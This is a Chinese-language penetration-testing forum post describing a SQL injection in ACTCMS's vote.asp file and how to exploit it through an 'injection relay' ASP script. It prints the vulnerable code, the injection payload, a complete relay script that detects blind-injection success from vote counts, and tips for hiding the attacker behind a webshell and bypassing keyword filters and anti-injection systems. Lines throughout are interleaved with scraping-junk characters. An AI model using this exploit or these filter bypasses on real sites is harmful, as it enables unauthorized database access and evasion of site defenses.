中国网络渗透测试联盟

标题: 注入中转的高级应用,actcms漏洞以及其他 [打印本页]

作者: admin    时间: 2012-11-6 21:13
标题: 注入中转的高级应用,actcms漏洞以及其他
$ H: v" r  E* i1 h/ \: Q  f, ?
看到ninty大牛的blog的一篇文章& t2 R; v" Z9 V: }8 `
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
8 y+ p! u  K9 v8 ]" v关于actcms漏洞的利用  by 3x qq:381862589
7 X8 a' I# e7 e' I2 z转载请注明以上
3 z$ G6 B) Q4 q5 V5 o$ {* Y% t7 p7 Y漏洞文件:; T: w" W/ U7 r7 O9 P
/plus/vote/vote.asp
; V+ ?2 [4 _1 ~代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
- X% q  X8 ]8 g, s7 U- j' Z0 z6 s# s# i' @+ T- s
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   ; c7 i2 e3 T: D

. `) u; G- H" d# f3    response.end   
3 Q" j! g! g6 H8 @
! y( e* R/ }* u1 d4    end if    ; s1 o* ~! D9 L2 B- h
- j5 v0 A1 }8 ?7 O- u' _
5    for i=1 to request("voted").count   
. P  g( l% E( Q; _5 |% ~4 k' F9 |' Q7 |" p8 [6 R
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    $ M+ J7 D8 o7 ]8 n

6 q2 C/ ^* q4 u; A0 z9 l' s( D7    next      H5 I( E8 t( \
0 ]  I" _; k5 P- I- K/ i& ]. ]: @: u
8....   
7 M7 v8 R% p9 ]; d/ C7 h& ^
0 U6 Y9 ~. g7 |+ s/ q  C2 V9response.Redirect "index.asp?id="&id&""   ) I9 D8 d0 a. \7 p0 n2 [( W
投票结束回跳转回index.asp这个投票结果页面0 y# O  z( ]+ @8 }' f6 s, k; g
如果投票成功票数加1' x# H, X5 K7 t
            失败票数不变
/ R8 S! A0 T9 D3 k2 e如图:% R4 _! I! S6 x/ q. x
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
0 m' a* ?9 [. k6 h% F" Z5 D0 v  X7 n  W
2009-12-27 13:20
; B% ^' B: @: z8 T
3 m& r1 `6 \. }* J1 A利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了7 @/ Y4 O( j6 r! t2 [

! h$ N$ p) G, b2 s0 n本帖隐藏的内容需要回复才可以浏览
7 D7 [/ N4 ~# L" f我们用注入中转来实现这个注入具体代码如下:7 p' i1 s. D: @4 G1 `% G0 ^4 K3 g
先用寂寞的刺猬大牛的注入中转生成jmget.asp; _1 p4 }7 N0 M- o2 t) n" d) H
注入地址:http://localhost/actcms/plus/vote/vote.asp% o( m4 b5 q8 X* w+ s, |
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项6 o* S: e5 E  B( G* j1 U

: D: K; b+ z( ]0 e/ O然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 8 V. q" H; H: Q0 ?) G

' q8 t6 E  Y% T  Z! @  i9 X8 H02JmdcwName=request("jmdcw") 8 P9 B. C! h' J2 ~( @' R6 X7 R
# v8 Z+ V/ y9 u  z8 `
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
. D* u! ^' d9 f5 S# G9 u/ {
, D, k# h4 J9 `( p2 X% u04JmStr="id=1&voted=-1 or 1="&JmdcwName
1 j4 K) s. I4 l& A% u" M0 M4 O+ Y, E+ t# q: c# C
05JmStr=URLEncoding(JmStr)
% O0 K: `  T8 P! k& C+ \8 t0 [7 P7 k/ z
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"# k& O: V, F/ D, O9 A
& o7 E: b, O" E6 Q% Z' j
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"$ ^' G- j4 O; K4 S. H' v* j

- ~$ o% i) S& c- J$ l08testurl=testurl & "?" & JmStr * k4 p! L! Z4 \, ~% O# m

' N/ n0 u- R% m; t  `$ k09JMUrl=JMUrl & "?" & JmStr # j. y- m. D) }7 v
* g0 j8 N7 h1 ^8 h$ z4 m; |
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
! D& n: A  `# ]; z7 J
% V" j9 s# X1 C" m% ]0 e11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"4 \& [6 x2 k5 g# z9 l* n
# U! n( p" Z% _9 T& T! z
12JmCok=replace(JmCok,chr(32),"%20")  
2 P  G( U! s9 f" b& j$ Z9 C# t
6 r1 T+ |' ?3 m5 _% B* q$ c9 ]13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 + h2 Z8 n/ B4 B
2 b4 O5 P* i8 d# f2 `$ A% k
14  5 T5 p' R0 J# b) b0 Z
! h, g+ Q1 D# F
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
* ^' K% i( [# V+ @0 a  ^, L( i
7 r- i; B% X; |# a* `+ |16  , p+ l- l  N( p

9 D; K5 h0 k: {- x* z17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
% G9 v' a" x6 I* S4 k, R0 S9 l* U6 v0 s8 u2 e
18response.write test1&""&test2&""6 q0 i. D1 D5 s0 x( x9 L

! j9 ^# k. R. r4 e# k8 R19  . B) ?7 g! Y- m0 H: F/ x

( u* Q& j5 D; u5 H20if test1=test2 then '如前后记录相等,表示失败
, N5 M- C5 \2 z! ^! w/ p9 X) _
0 D6 Y  f/ p+ t8 g0 A5 J" S21  response.write "failed"
) }1 j& f' E3 T% B! \' x% m% g
) G7 p. N, ~* @  r22else
3 a4 D7 F- b3 |* E4 i8 p& x
; w" S+ [/ {4 Z  w; o4 z. i; Q23  response.write "succeed"
3 t! |) A) N2 B0 i. z+ R; s2 V
24end if  * R- O# C' g9 S
- ~: `5 J$ m( b& m3 r
25  " ?) t9 ~7 J% C! I0 D! f2 I. j
4 ~! k5 R. u/ p
26response.write "by 3x"
) r% R/ i  k- R1 O- m0 _
1 [5 o2 D& M9 @7 @  S% z9 Y6 g1 r$ m27  
# f  A8 e3 T1 Q* P
, T# [- q! G3 J1 R) z* N! |$ F* H+ W( ~28  
8 L! |' k$ |7 ]2 K; _
, r3 b$ _  Z& w, o- ~29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
7 F( W" r7 p' w
4 U  R0 V2 J& ~' w; a30Dim Http ' F/ ~) F$ k. }4 F9 `  m$ u, M7 f0 K

* H- C7 U2 ]& t7 z8 h- q# S31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") - T1 `5 A* v5 N2 |

5 h0 U9 O2 h, c! C" x32With Http ; s" n. m( S! @2 }; O
& ~3 y; g& G+ A. n: D5 ~5 g4 [
33  : Y( U% P6 v# U6 D
# a! M. R+ G% W4 L6 l/ |
34.Open "GET",PostUrl,False& {! s( a# i" z* O# u0 s

2 p7 u, @& u" m1 q7 B35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
# o$ W1 k7 `) O. ~: q
$ z, Z9 ?3 q+ Q$ E+ D36.SetRequestHeader "Referer",PostRef $ g0 X; l2 p0 W! ^. b
3 R. r1 x7 ]8 z
37.SetRequestHeader "Cookie",PostCok
" R* P! l/ l% q6 j& E
. y" L- f; U7 M5 ]38.Send ()
. U* v: A3 p( G' {3 W& i
, {( b9 X' l6 q1 V" V0 S) N' G; [39PostData = .ResponseBody
: ~8 g: f2 m1 f1 d) I1 c& [' @7 K. ~- k8 R3 l
40End With5 r- z7 P8 f! R) t. r

& s# @' r7 w. ^3 r41Set Http = Nothing
  W; n- O# d4 A2 @
5 ~1 r" Z" _2 L3 J42PostData =bytes2BSTR(PostData)
* s6 J/ w( K0 x1 h0 l5 K
9 E' t2 E, k% G% N* Z: Z43End Function- g- W0 j7 f* j5 ?6 S

' N2 ~/ C' e# `44  % v7 [: p5 Z2 a; l7 X" z

4 u' l$ A% E8 k( @4 f2 Y45  * N2 e* J# w! @

5 K( k6 S7 n1 H* P( E- Z7 P46Function bytes2BSTR(vIn)
. c+ i6 ~, q- u) `
( I) t! k- J! H9 ^7 M- K47Dim strReturn " y0 P: n1 g6 _% p

' _9 Z" q0 Q$ F: ?  Q) Y48Dim I, ThisCharCode, NextCharCode
1 g0 j" L( _8 v  ?/ `; L
" I. Y" l! M% U! Q# P/ R49strReturn = ""
0 f0 |4 z1 V1 j, S
/ v! J3 w3 k& q# v; O( ^2 m50For I = 1 To LenB(vIn)
6 h6 f( [# ^+ Z5 v* K, P/ u
7 N5 Q7 R( o( _# }* v; G, C51ThisCharCode = AscB(MidB(vIn, I, 1))
+ U' w  M# f" r' q2 Q) {, `* y+ }! l
* X- z) L+ j6 X$ ^52If ThisCharCode < &H80 Then
' l( C+ R4 C+ ~# [7 k: O1 |# ~0 Z8 h' V# L% L4 N4 u
53strReturn = strReturn & Chr(ThisCharCode) ' f4 _1 C" |$ l- D4 ~- {

* K- S/ J1 s% K0 l. o54Else: P8 J8 R# a1 q' k  V9 w. d  ]

" F5 @6 T% L: r' G4 G* w+ x) d  h& r4 O55NextCharCode = AscB(MidB(vIn, I + 1, 1))
) w1 L. Q8 @' u8 w4 \) l/ x) Q* ^
& i5 H/ O! p, S. n- U. y8 x56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
, y( ^1 R8 `. v$ o" v5 v1 \/ M8 T
5 j) H: K0 D4 ?* W57I = I + 1 ' Q. o5 I0 p- n5 f( b
4 @. q+ z1 y$ h' C5 F; ]
58End If
9 W! P: ^) f# @( D( e/ m' d$ I  y+ e& T& w
59Next
% _5 ]* K2 B2 `2 f' r' x: X* S. H# D5 \# N# b3 k4 Q& o4 |+ V1 s
60bytes2BSTR = strReturn ; ~* ~* u, p2 v- K; _1 f3 T
& g; v# O& g' h1 x4 p  d- @6 U
61End Function
& O2 P, B8 X8 D' G: Z
' r' Y) M& k/ Z% }62  4 O6 I+ T! _! _0 a! Q
! ~9 A. H2 m. K: d2 T7 S
63Function URLEncoding(vstrin)  " N, G* k/ K* }

9 b$ G# y* C# i$ r- ?- Z  d7 Y64strReturn=""/ P* H' x! ?; d
4 h. P1 E9 W$ E
65Dim i
( B( u& |/ ]# Q. K* w+ a) ^! P( k) t" G8 p; s0 V- R& b+ b! v
66For i=1 To Len(vstrin)
! f) A& u+ d; h0 [" B0 V5 T2 W( a4 H9 w6 C+ O5 B) {% }3 _
67ThisChr=Mid(vstrin,i,1) + g! B$ j7 u; i' ]  M
$ }4 c' H) J( m1 R4 F- b8 W9 V1 X
68if Abs(Asc(ThisChr))< &HFF Then
, L5 l+ ^* H+ v; I. l( `% n6 J
" S% q% O' l9 E# C69strReturn=strReturn & ThisChr
- S% [6 t. e6 W! Z! ]) C8 c) r( `! [- Y( n
70Else4 o( B8 ?7 k" O! U: H
& v: a. }: J& h6 E3 N
71InnerCode=Asc(ThisChr)
& ^4 {- m1 c" o1 g/ g( L( k7 i8 C9 k5 _" K/ P5 U9 W
72If InnerCode<0 Then7 y$ [/ F4 N, Z: G0 Z

4 i% s; A5 A5 K+ U( [  m& ?73InnerCode=InnerCode + &H10000 3 w- p3 e+ z7 R- \' _! {
- i0 Z# |/ L. ^6 O4 U8 J
74End If1 b2 {( n8 l/ L

$ F1 W0 V5 y) D4 a7 b# K75Hight1=(InnerCode And &HFF00) \&HFF - R$ c# e7 C& J- d8 V

" e! ^: v) }# r  z& b& t4 m76Low1=InnerCode And &HFF ! ]- p- g+ d" t6 J( |; m7 ?9 S( E. I

  b, ]( a9 j) q& N, F( M77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
1 u( J; k; G8 c: W2 ~' P3 ^; F, ^: Z( W( W! t( ~' x5 @9 Y: t, A
78End if
$ w7 ~3 r% b+ N& [: }6 v: u2 V0 q1 }2 Z* `7 |+ }8 x
79Next
. O( p, l0 |; f. O7 s+ Y& v/ j) }- a) N" r
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
: E; ~5 g# j! _0 f# e& G: r/ F
6 T  D- h, W" [- Q7 U81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
* w$ _) `5 t+ F& H) v  z; m# K4 H6 T% s5 ?
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 * _* j' X8 T4 e. L" b% F; E6 X

5 M5 J6 U* Y) c$ ?! R; a2 K) Z83URLEncoding=strReturn
% U' C5 F4 G3 j2 N/ {; q% r/ ^
/ `  {2 O3 c+ M" a, ]4 a- F84End Function( Y, J* t( S5 m, \6 k% D

- }4 U' N+ h0 x! l& w' s4 M85  ! Q4 N  B/ @5 ]8 m9 G8 c  L5 ~- {* L$ K; z
) {9 E1 E, t: B9 \* L
86function getSt(body) 7 J& M* }& k; S6 _. t+ n
* z  n8 C7 Z- S/ ^2 ^
87  startpot=instr(body,"投票人数:")+len("投票人数:") - j  K3 P* ~" r+ V- Q) m% Z+ C; [1 g

) ~4 J. W6 J, x; L. S2 L( W88  endpot=instr(startpot,body," ") 6 P8 V4 _' G6 i

5 {  [( [1 l6 x89  getSt=mid(body,startpot,endpot-startpot) ( B/ Y8 t, N! H) C& _, {

! ^1 j# t: F  r$ g" v" I( p1 ]90end function 0 p3 v+ M) L" `. g! x1 T4 c

. T- H6 W" [" e& P2 l9 W91%>* h# ^' t1 _  q  G: n
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
) c' r% u$ p* K8 [4 g' ?测试下效果:
- f: |1 W7 h+ _( x; |投票成功:
; E, T2 i$ ]: {" b4 L! W$ phttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB), R1 m2 ^8 R2 l

8 y5 D- m8 x. J3 K& @2009-12-27 13:29
5 q# {8 N0 U' x- B投票失败/ Y; b7 P. I4 Z& P: |! Q
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
! {- J3 x/ k- f8 H/ m' E
+ D+ p* @7 t0 M2 q' o( H2009-12-27 13:29
! \" C" `, J8 c9 C1 d1 A  k* e/ V/ a: u-------------------------------------------------------------------------------' g! v* q5 W" |3 W" s
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以$ t. H3 U; I9 t$ T, v/ ]: a: U  {
很抱歉。。。只能用单线程工具去注入。。。。。
- E3 B! e, f* d所以失败。。。不好意思。。。1 P& @$ Q4 F/ M/ c' l* f! ?' j
-------------------------------------------------------------------------------
+ o- N. f! m$ D+ o" k* g7 U1 t( L0 ^0 N+ w
注入中转的一些其他应用
. b1 ]- V& g+ [2 E6 l+ H其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
  }3 b& e# M( d- L; J+ V1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id& k5 ~4 }/ W* R* u  x
2.post注入转成get型的注入,方便我们使用工具来跑+ H1 j1 [6 p6 M0 z8 A$ {! O
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")' c0 v6 _0 D$ P# V, U0 k2 R& E
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过2 V3 R& ^; X& ]! f6 h6 s
% [& f1 `# X  T9 O& B" Y' Z





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2